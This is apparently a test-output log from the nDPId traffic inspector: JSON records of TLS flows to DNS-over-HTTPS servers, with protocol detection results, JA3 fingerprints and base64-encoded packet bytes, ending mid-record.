{"version":"TLSv1.2","client_requested_server_name":"jp.tiarap.org","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +03807{"flow_id":20,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":326,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739378,"pkt_ts_usec":607705,"pkt_caplen":2557,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2557,"pkt_l4_len":2523,"pkt":"ZmZmZmZmRERERERECABFAAnv8ehAADcGAyZoHBwiCgAAAQG7g7yjIxhZ2SqmLVAYAEJO3AAAFgMDAHoCAAB2AwM5\/Tpf+0rVAVLiqp3AKzeP0oc5LUJ7LbPa16oj3TgNDiD9DZHEPvQMzjP6pbu5TmyGbnG5vDXlt6MJFI6XifT24xMBAAAuADMAJAAdACC6HV5GLKVmM89uM3s2SIWu43Lfyhq5unw8YJ6WUfrNYwArAAIDBBQDAwABARcDAwk9PLTYD+JT2QAppt0TUbAwAmxAstQCMsQy32ww9oSEEAAMGSMNt+TTdp0V3tZ3ctmeFKC8drVcJHMoKPW\/gLMtyIUmD\/3+eYMhUKtI+3FRz671m\/FiCxQ+DYhEAA2djrJV7bAD8riXyaqFyW2aaJF84flOMuq9DLwOUI0IypM1HnMNVT7vNmCordbJ4vYfoJCHZ3Jdxa1PMxflxUdqb7t2xbf5y\/m1Lgj+QBUEN2VGq3ZK1ktt1GgLlt5OMY6q\/EMncuhg\/OHccuz87CSxEURWL2O5XG3NQ8ZSkyDIF1XtrmR6FGXAhlzN0GIMFD4mIZ5QqyhyGprKsDD36CWqaTOR27WUIRMeWgua2kpjr+elVVRiIT0yfyvShMeR5KvvMj5AG9M4S4\/qWWxJjIv9qLfYm7RWSC4r34hNlFnFlqsqqqzzh\/BxMvV1bwxfAaqA1qBideWKRVA+7EuN95c4ue7X\/hRVHEx3iQLqTqKG9s8vcXeE42KLZOgVl3B7xu8\/i92\/WkhbHAp1VaoXVrJw6GLiISb\/po8DiOQt5NIdGX5eDQSEZ7O9baKasLWzq1YkwfZijF3n9KVs9qv2KSy5IfvS0SD4T0T96JowaLvO1lvBNbG7CindkMAn7au9+n1sxBnSgPOEhxjP6eP7I9klViNjl15nUFM6o4r0CQuVxRwVYjFh10tMhUtqr5ufjJtftBeIT7Z6ffMsMrzPdyzkIvDM+swGXo7V35YzVo8DyoBYe9uM0JJnrorf04OKftnG+pjuV1J118k\/TcF7dgWMascYwrYulqMRqr3vNGGbqZxylwmKp462M5UtGuo+qerBWSrRXWS6eh\/Pd34MrDX1VmvCOR23Z07RB6KZ9U0a03sYPKhsU\/m8X7Y3lJg3mFbu5qAjYzD1O+cD4Myf40iIoCP9xcs4bu1pUmgjVbsp3ut86GCDAgM+2h3m+dYO91dTNrC6JdnpsdKfoGqobbC1Nd6P0Kznfd6xn\/BQDvXNQHfd3IPzPYj2FRyDUuFDyWgT\/cwlGc7O60WUydzXXvs9ttqI8TuCUJYd1Ao8xx8mAgIvrwtyiwJR5QZQxYq0NnVo97JO1hRxuXJb+LTsywktm+cb6647KFCAIE22xi+EiXjOKZOlKgY\/++l2PKcbQh7+iHITgTYo09PyNcnTJxUwLKCZUcpj08uHLE+si9w6kmA+pKFDGKHD2OQi0\/dVl+2FqCH2+A3DCa2Gg9EWzElOrJ9mp3PsOzxGAh1T1616sYT0her6SVuXlhCGP0slwtRkTfN5tnJIo22tEgWtQ+b6y1PTsvRTouR9DpgUBw8BD3g0lRYqf3KAJIjUNpSvsRMGe0P3S4KCcJTz19EnjfZoP6uX+a1+4rjk2AihvF76LGF5wO7bsnmmIDYTvndhSZUKAm3a49yHTGG7gVwYkqmq0TRbx3kmFRXEBuvlULDIz+RlQyLwuJX5uRyHubvUf803FCAz\/4a9pnE6WEDc+zOoXHErWhAfoc5tjJI1gMxGX8U3yJwrwEtij2gQTn0Bbv4+6DXg8iV1mRetvz2V395BS+h9qVm0PJky45RjI5FxKVNW8VUHbBkrW32Ln2Pm3mojmUt+Xsx7zInkOkVoS97LxHGe13JTpikDPPGgpjpEoHIcQRKqtRb0XznaWZx01cfmn3isfcOxCOvXJUXQwHOBr0ZOeVU8JyV5j86F3c2x16THC9pMZadmbjMRbWkSLTw4DMHNpPKhS6WbcQJhxPZwfAVbKEjktlF0JguUnWmRyDWlD919TvF+XWK\/xSop+ME26vjlWYdWryJvX71XiN34ciEg6jsS9BSYdT6j+C8MLHQApTVrKIlUjg7LizXHOZ\/8TbPIjDL1MmbwanCPsnz+x51R4gaxLum0nLoSL+ZmdQWjq\/uyo2YE03WUuDCwEqP451PgmdaqLRPfWLB1DwCAkXZchOxevuMOjyvWV6dC+e+ksCIkxwJmTgcBQXwfuBwje22m5Cj2nv\/zq4aMsV7kiFOS1VcPYLEbw+c4UolvdLrBBCbMxCQZeGhjAzGdsZDuX\/6sRIGIbuHAE8nIh+KJ0joM4KoZNtLXSA2HqbNN+kRQ5gTFmAp4mqAOgsHxAv6V1xCZg8P3MEffeog7NEB4\/K8wtwtgVyjvZaZ4E5jbN5Fjj\/jqK88SEXhkPYnN+on2bA\/r\/BMBIaoCajkogUyGLoyIPMT+pBrWa+wfZKdLurwPxZw+jCxKJC0\/mmFBL81N3ktV2QA+uWulN8QPCd7cD0\/Hjf2QklIJga5shMEJkHY6px3Tk68O3abNmIreZ6S\/N71agsTVbVTSaRlprW4p5D79LYThW+q2zikyKF2eG4VtVQ1Z087sY8sCBmmZG8ETPN5Xq0TN3Q1mXCkwjS9y4DvkEf4d2VKsFN6yj110+kONDzC8lVgKicr46oqIhZ9cyUDwr5+MuFqHiF2KMvJx9XA7v9+a265RIEavlSRTRm3PXbeYNOWUADrJWXjguUacdKmikyCoiD9vRp7ll6YxsV5jSfRT\/9SmZeNE+aTDy2wakB7qY1oeeLE4kVchDyQa22zUAtVHOgOvTZInJYA\/takDFgegJnQaYWISVIejbCOHLLvY\/LGAj1CyqRrh1\/LJm06TJxFQn5cMNb5SSEJFNyxF75PSPT288zWx2Va0aIhDIB+vku9QlaiV4ac8CwDTFNaqbQKECa5ibv22eB002L0jyDWacUoUluFvwofh+CTE377hEPfvjsRjX+V3P\/erPya8F4fW7JQkFJgCrTK1VaoDF64ZvLzNQJ5aCIC3Js6D+sD6g4jOpLHGy2zHMlk9wTN+yBybuSBsrJL9uS5j3JgQRC167kARpn8\/3wkN3\/lvlFPoVYVhj99l\/NeW6y\/YdomeNnyw0D7qas3wz1t0EQFticUf9LLfRMzRHEf20AYOoy9Fonct0XWUb6fLDU7CQJTqCHU8Eiy+rgD2t\/dxE4NlpfZ2ZSbDZ7QWFdftipHKlR4nJqLL0sU6kjZ8SydsZ8oAinHCIV9v5PNYgUBa8WbGYb2kgxJMSN3jbYzsoGwAsbdeAghc0S7LurZvISJXwa0jBqUzUHZmweZXCdDnfDiPc92KCXG9hA13VfXTouQnTd0zyBwPxIcvLGDhAu1CCSmBlGZrOEjmOi1\/i4ug\/A=="} +00825{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":326,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":2,"flow_first_seen":946739378577,"flow_last_seen":946739378607,"flow_tot_l4_data_len":2826,"flow_min_l4_data_len":303,"flow_max_l4_data_len":2523,"flow_avg_l4_data_len":1413,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"104.28.28.34","src_port":33724,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"jp.tiarap.org","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00506{"flow_id":20,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":327,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739378,"pkt_ts_usec":610153,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"REREREREZmZmZmZmCABFAABoLytAAH4GiGoKAAABaBwcIoO8AbvZKqYtoyMiIFAYAfVFVQAAFAMDAAEBFwMDADUQNuPt6m2nY9MgXiEHZRB5L+gDtuMOMxUUfy82Uox32sOXoFpXHp3NUSfU3Rmr6gABtUijkQ=="} +00537{"flow_id":20,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":328,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739378,"pkt_ts_usec":610269,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"REREREREZmZmZmZmCABFAAB+LyxAAH4GiFMKAAABaBwcIoO8AbvZKqZtoyMiIFAYAfVFawAAFwMDAFEdfSV7R53tWPLwbpLAvpYZkl19\/BcxP+TDWyhLaoxetWjrDvoUAtcNmsNiuCZnkdjB+V3dT5jW3XlxFbDY728t\/WQMk1LbxBUFh8jkvOtgrcU="} +00651{"flow_id":20,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":329,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739378,"pkt_ts_usec":610406,"pkt_caplen":223,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":223,"pkt_l4_len":189,"pkt":"REREREREZmZmZmZmCABFAADRLy1AAH4Gh\/8KAAABaBwcIoO8AbvZKqbDoyMiIFAYAfVFvgAAFwMDAKSMB\/dBKj3UpGjMiH6\/1VnkucRlgJJUh+qKTpK1hnLktIkXTIZNK771WiAD8CCQWY\/50puGvx13gF6dxepR2eZrDXtNRM3+WITv7yAVM2zLslCIU6mXHswTWezDiNss0zAMjO5iTucBRew73pLZ7zSDttwfLKSZX3jAzQuGsed6FSQJLBSwHHVgAkaiewtxnPDS+tpjzWocy6dfvO6T067l7AmVDQ=="} +00530{"flow_id":20,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":330,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739378,"pkt_ts_usec":610510,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"REREREREZmZmZmZmCABFAAB3Ly5AAH4GiFgKAAABaBwcIoO8AbvZKqdsoyMiIFAYAfVFZAAAFwMDAEqnBbrKPIIn+t7ho\/EJI6ooJTsZXUy6sZj2vPty1Ajh+P+v\/\/8I3ccIXfufkFrd5j3HhOe0hGYW0KtD7K8WDQOXzERWE0Dms8Tt\/g=="} +00502{"flow_id":20,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":331,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739378,"pkt_ts_usec":637369,"pkt_caplen":116,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":116,"pkt_l4_len":82,"pkt":"ZmZmZmZmRERERERECABFAABm8etAADcGDKxoHBwiCgAAAQG7g7yjIyIg2SqmbVAYAEJpvQAAFwMDADlSxhp9h3L99k1aW1VZeD+FvSFQris3slrnjbIotlR0wnSMUoBcXrohR3EM3O3TdfRztAaf4o3C1KQ="} +00460{"flow_id":20,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":332,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739378,"pkt_ts_usec":637472,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"REREREREZmZmZmZmCABFAABHLy9AAH4GiIcKAAABaBwcIoO8AbvZKqe7oyMiXlAYAfVFNAAAFwMDABrbAC9n7UMI5tYKjSEbIvSP+d2JrMddG4nMjQ=="} +00462{"flow_id":20,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":333,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739378,"pkt_ts_usec":637662,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"ZmZmZmZmRERERERECABFAABH8e1AADcGDMloHBwiCgAAAQG7g7yjIyJe2Sqmw1AYAEJecQAAFwMDABrBF3y+\/oH5OyHYkE7i\/E8FaT8QZJRahrdmmg=="} +01136{"flow_id":20,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":334,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739378,"pkt_ts_usec":645107,"pkt_caplen":580,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":580,"pkt_l4_len":546,"pkt":"ZmZmZmZmRERERERECABFAAI28fBAADcGCtdoHBwiCgAAAQG7g7yjIyJ92Sqnu1AYAEPNXAAAFwMDAgndU2IGMFyAzUK6W0nEbDun9csCFFJZPhlR8lKyIVtjtURnVA7r28L\/CfacG7BKY7t55xH+K8AGfyNnAkIxL39xCSF8MZqGLRaDOutk3ZyRJGf7LVUyzsBYZ+mCJE9IBKuK7vHGohLdmxXfI8yPqc\/TI+n8gDop6vQHeYN5Srwpmh8u7tmHDIIDwe9RQxaHX4Kykh3XOorFaNraBwUANPgzFHdiNh7RHWk7qh9Q1hY4zPAE5Gu3zpGXXmDJo+VgIkYUR7JckfGZyRpOVbdjmzG91XDT4bWTKSjLucHnyAED6y9CIBSsdtahEa5uFi6stt0AfaKqDhj83p09pgBZsHx2CAdmFt6FxUsKoP8R3YzUdgJue583DV\/BuyzUr7U6UhDMKSX80lW4\/8L4B92o5yBWnVf6x4gztUsRC\/2Ci+4bV04CqoZNRJG0zm47IbpR6V\/8\/\/sx6nucGzZlNyl8neqLPqow3+ejE66u7kxke\/EJl5cIzlt0IdrADPk8QWqBHKgC8tQzeFwPgQF7df+EyT9fxjNJMhzRH3bUFkLNfAjFj3X9Bexq+tg91pB7WydeIJtQzOjt5JhRg+HdXQvXSTtKNr2clAiENEIIei16xixctMB5H2pxUtDRLJP8JGQyEryg3Cykp\/yTHapHpXF8HTtV\/9IvKZzjQortk49Z0B43Zqt0i6n\/wk6R5g=="} +00461{"flow_id":20,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":335,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739378,"pkt_ts_usec":645130,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"ZmZmZmZmRERERERECABFAABH8fFAADcGDMVoHBwiCgAAAQG7g7yjIySL2Sqnu1AYAEPWQgAAFwMDABq9UoJMXpsU9zJdogrBX1uG8TGcPZR4QnQUtg=="} +00556{"flow_id":20,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":336,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739378,"pkt_ts_usec":645609,"pkt_caplen":156,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":156,"pkt_l4_len":122,"pkt":"REREREREZmZmZmZmCABFAACOLzFAAH4GiD4KAAABaBwcIoO8AbvZKqfaoyMkqlAYAfVFewAAFwMDAGHOfFHWL2qNFfeTIVveCzldmUmzBcmkoc3FqqpldL5Wi5K67j1rTDWqRop+ebrnkaDCR2BUMxDTfYSP8gxd05PIvEgYOxRALj3JJh5+Nn01rQKkgU1nPKg77scHDPZ7Nsmf"} +01029{"flow_id":20,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":337,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739379,"pkt_ts_usec":622855,"pkt_caplen":504,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":504,"pkt_l4_len":470,"pkt":"ZmZmZmZmRERERERECABFAAHq8fRAADcGCx9oHBwiCgAAAQG7g7yjIySq2SqoQFAYAEP7KAAAFwMDAb37Utqmzc\/XQr0xKkwHhSi8+JTkROqFExNKhMimdYKmM8saokrmuJmrL7IGM9+N3ycEamRylc2+xYqrPF6XixY0I1nBFnNaQSklbfiR1ULXPyfFvTDlL6Bqfbx7o8HsH161ME\/J7NpQ9dA7SaCPyg9wTxwUspP3+LPiBsloIiDfpqM6oEtCJAzUApakoZrLjqZvEHpDmut\/iBLxVuDdF6oFrWZusviWmCmENt8wSv96QGh6g9k4pRKyPlybPp5nhfR6Fyc7a1lBUn6J4rKeho+4TSjmuVc1HqW7F0s1QTUFfgchU2WEfVz40sc2VpImXUddoXvLqet3SRzH9H6L4n\/CxOnMGZFMtLiRlSiM5UxdC0fA6IuMhgHpx4oITJYq84qucDn6+X\/e+7kcWKqm\/ycygq2YIAjXx9u2hWAzNPCVCUU6hhZgEOhD3\/5E7c6uioiFH1LDvsWvxxMQMcdx0tG9dL7mCPaiY1m9eHZMErAoKKj66qZuj6dU8Z7sAgReu5w\/GJHJJFz4gbWWI\/wx0nBh4zpXZnPXbqdjs7eT0rSXlhkiziyaPxH1E+0L96xVEpU3ZIsIAbNx21ckAsxG"} +00461{"flow_id":20,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":338,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739379,"pkt_ts_usec":622883,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"ZmZmZmZmRERERERECABFAABH8fVAADcGDMFoHBwiCgAAAQG7g7yjIyZs2SqoQFAYAEOAPwAAFwMDABp2DqgZV0Txz+XGhszRzilLqpOniLTFqPk8IA=="} +00605{"flow_id":20,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":339,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739379,"pkt_ts_usec":623279,"pkt_caplen":187,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":187,"pkt_l4_len":153,"pkt":"REREREREZmZmZmZmCABFAACtLzNAAH4GiB0KAAABaBwcIoO8AbvZKqhAoyMmi1AYAfVFmgAAFwMDAIBw+gd9vJeD\/x8X5Xd0lYOO0wTp\/\/7OmS\/7wdThDKO4T2Gvhv4LE68i5UtMPxdw7+72aREJzgTku82uWhfzjH6MBuSwQZI7NM2yCK7qMauc56q1AMWz5yTsz5cdbPAp7C3Nm4PvKkfSPPjHAa1HlSg\/iu0oITjeQnMELwjuPGchpQ=="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":342,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":946739380697,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"1.0.0.1","src_port":53802,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00810{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":342,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":697543,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"REREREREZmZmZmZmCABFAAFIsgNAAH4Gh+8KAAABAQAAAdIqAbvH6z5LSWNp6VAYAfbC9wAAFgMBARsBAAEXAwNccnLckexdP3Wz7tsKiknbwUElui2FZGSKODu9LnFkjSDCKDL2dIORj+O\/DGu\/+ddISHKLc0yxsHWSEQ0iee1a7AAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAACoAAAAFwAVAAASZG5zLmNsb3VkZmxhcmUuY29tAAUABQEAAAAAAAoACgAIAB0AFwAYABkACwACAQAADQAaABgIBAQDCAcIBQgGBAEFAQYBBQMGAwIBAgP\/AQABAAAQAA4ADAJoMghodHRwLzEuMQASAAAAKwAJCAMEAwMDAgMBADMAJgAkAB0AIM\/CjtFE6\/BfV0qVOcMMUIig11i56\/tpHaQ1FlARye8w"} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":342,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":946739380697,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"1.0.0.1","src_port":53802,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dns.cloudflare.com","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +04281{"flow_id":21,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":343,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":725098,"pkt_caplen":2892,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2892,"pkt_l4_len":2858,"pkt":"ZmZmZmZmRERERERECABFAAs+VjZAADoGHccBAAABCgAAAQG70ipJY2npx+s\/a1AYAELM7QAAFgMDAHoCAAB2AwNqFtv3xWSYHbL\/TEVcxTgtPyY5syhT1Ar0J7GcYm2olyDCKDL2dIORj+O\/DGu\/+ddISHKLc0yxsHWSEQ0iee1a7BMBAAAuADMAJAAdACABwPRBPqMH6tP2UgTdU38yy4IBdMrNy3Y26n6nkJgoEgArAAIDBBQDAwABARcDAwqMAOf8HgLdG4eR2zQrlVcXNJK6gSgekjnntDDuH\/5mItzTS2PjuRorCZtp1e456Yzxd\/c9Pjo0KqOApsf0Oet3HLAxOPX\/4mq0oqPJv6\/pWYh6XkL49x7kn3sA8FLizWIik5oy6pRjSBWFf6tqxUO+Djt17wQK6yhMls9hUq1ClHJUh6Qn273NZpiWOuHCd9wGeCfeInHvS8qk0EqIdne\/5O3+AKgM\/cALapdKbBhIoAyrPwqC2hLjGuasAzda3QO\/+ESHum\/F9d6o\/5K+8IYpY8o8qtVJ6Drg8futbzGhAS87lZYW5UeuuFH05CzhM6cODq7gNj4mbPjTJ5ApTRpwsXEw0cwu6tAiKdHBHu4s131JOS1nhPpDpOs1W8FqhOijP5pChk7nVfwQ9Bu1xYiYmTlZWYP4bC0IhVSltsY4+ffd9etk6QNu1u5Seoh1QaWRe4DU8GYPqDdj9ywHuBnTu\/kdk6yObRcYizbhLyG5JiQSyxA9bv7iPMzOSI\/oPD6Rw4c6cy1qJywZ7F9o\/W7KUU6pYYhqWRcunfBOy2cedxZtVaWxcAQGD7VjEr1GjI\/ndJEL6DV\/vUO5PSsHgdX\/GScVrZdS\/KHwHxAHOv1BpKxNHl+ElIeVfCJc4tBsNkoBf5+COT0BV1cqDq\/0TqIcpVxlMv3\/7JDTZZTI\/wMxcbTZkEC580\/OL4P7o7ZBv1lVciiiGUxirK0Wn0VmKVkOPUH1VVDEVtxbspQjAQAudOqLnKMivdYYnLWKcLFjjfuE8XwFn1JkF2YyGgtdu+0wxe7V3QdQyeX6wSKDfGOBn1RHTiZSQJLrjf\/MjK6PK6+6dmcX2K\/Nos\/HKCWzOCSGOxH6pgvl94s\/0dDawx7iAmW0aKHP7fN\/Qsuj7qBRlYmeX3wDSe3ACAyO8PJtifBKRUnx+i44zF\/TEZT9\/0f9hj1yXYZhM4IttxvCtS3N7k187lM2JB6HB4DmePSpA5UfxEPRq71lNWUsDLAAiN3ekJSKoZ7PUpp\/6SJsuSwyITjf4EqBLpeWL9MrWeNXoUk5W1F7hWZmXxUwbc9PMEuirTVJUIeKJcMT3hUo1x6K9jQ+3H\/3FjLuAvSaGN20\/JlmWzUhH2c19MbTsBdNUca8p5h9ftAYWxNZFi+BPME56GacRIjusosOaDm6TM6NIeJtcd5nQ0Y6NbfwEe7MdB0akdNH1SZ5FpPCUXE+5h9eWmGzxT6gCZx6qvA46+kjmSPa8Cj85dDYPgUItxPMDzQDmcDkFl4Jtoqp7CsVbgDs2FaRSNSCg+ZMEThJQx0\/Aqz+vGM8Axcf5cpBgdqJqmkgft7WVM6LgxM0bWa6ReLOTbftdrjvt51qS7oW8iSFCaAMyVHnB9nNub1rCB71JGnHgmpLaDriPHmvZHyXG+tF3YYxqKFpVLMzSELDqif9S44Mrb9ZjnIWKvGQryM\/QSKoEg5X7zctl4vxNBFap6BlJhqRr3fm7FAc37N2CcUPqfx3Q8d+odOusP4Ls3Xq2Sur1UmBSNW9zqMAV9eCaagN4swiO+HX9D1JhZPxXTW9QWyDXi2zI1HI7LUB70fqeJS7u5T5BooNTQeoNzZVCvWOXWLt+ZiIbxI46okrDHFQXi\/x2G\/UqXdfkOEinNyh78FxOnrKcOtvfU1vQdaz7Z3d1S6XTGxIbp7Avs8yqCBkfYYx0okhQoRYkFViIAKhs8EJ22ENemkpy\/xMNRrY7HXIqAF0plC7ASy6aRPBxNQLpe6Ed5IaeUHDV+pWuEiLAgXAO3BIyMmN+dKwyJRSjGew81SAxYCXzqNGK2p7GdpO\/XP0maghqEG1aIROtTBX2ArldnERnpk4NXjDbfgsSkzP20ClfXeN4yjZTmAjINRHsDFyBG2kVPsbWM6bJ6sXUqNBkjHzH8mUguB01CThNReqO2rGsLiKr5qTMAwxKxjfEdoEJ+OdtfVMDr3B0PaBDiW6NDXICwJTMjrTiHsqLMySrS2T3BXPc1yBL+jDROuKYyhTZQzCA6ktzSKC6wAMC\/2RMbHnV4JUqSuJoXnZI1jiGQfafDh9qm0ZR91\/Upntxs\/kWZ9Zofn9x4gsvGL94XY2stn+kYJ+lpR5T38ZBRBOsXu8bAGsKAP+3wt7PlEML8VYdMSv1Y8XhaZ4vQZT4mxjokM8a+\/vbBm5OFXEOAsw3UpeMp5Pdlywdfks9xANyyHcs7XyT+4nzRjV93W+RbJVksh761\/0CsogB0Bf4AeRq1b8bSy2mVWD\/C9oBFlc4PSw+jhx1uKdorr8amCiJ2bwSUXaBBKYKGtf3eKS0Vrr8DWhAzmAupA8TRMiBwDgWH\/pSpuuBxo4fKT36lTdVMpKIp966xzVRYeAdyJ8dQTy5jeDQL1o\/K9FAvaIxIHdqy3Ai9UpxdTmYwoZXk1RGWSFQPWK2eEqydFLHkwLiG2A9OQ8pCYrZlqHUn1snev7fQAbwrXFOXDJskS+CYp+0GQvu\/Fu37N\/vYvDe9yQ2BjQyb\/Aq\/mNLHkdVzTu+oIIX6og2jNse2SlImfdMuiBssQFePUieOP3nrkgegmZDkJvZU8\/IJtyIPGhvEr4wy0KRjmbk1R5TV1oh+Gvyump800hgoeZ6yINLishVXjkSrZbw30TzgVyIHMXbfVH5cMb\/otpjX8v74ViZ68NiQoVQGCiu9Qccb9jITaHI7YqId83HAhD0Mgcvql8x4riVhsLhWBp7KARZMNylg6FCWQzYhkomLcDqOeaHr\/i3Kucv0p5GzUzkUvhbOyyBarVy1r5EY3Ff\/LeERfwiWeu9JMjSlW9a76FWzNvpbjiVQvAXjpJS+B6vW0S676\/2F\/QVlBvmv\/1e3jfE46NEORC\/KvStAu1+NCVXXkgYYjYaavSuMFqEVMBLpNt3pqmD175kYHYjG6R6TDv0nmjRk\/fdkSOg4ydMi2g43e05SDICPCTBrKL+H8pdmtKEp3WxofXZCtNR+ckTvaTdfJXZMWJbImpAgp0edudixTNqo9z3f5BRBQ1U170EzzThEQIMmS6RHUG4MBWpfatZDm+5s5WqxzAc+f48z+5\/Rjpm1MjT7FAj2QOS2mS1pZuw8jR7f9mlmDHlYUa7yULFKz+EOcDFjny+TGuKCw6tBmvp0uAgOgbWkR3PGwLQlgJNN5qcasz\/DdlRFFRc1kdK872NuK41RPGMSa34kfvjKckPj3jn4ntsF1i9WcRtXZaTKddZmAVoibh8F7o+\/2BqWfWHshjLjbv2UXOW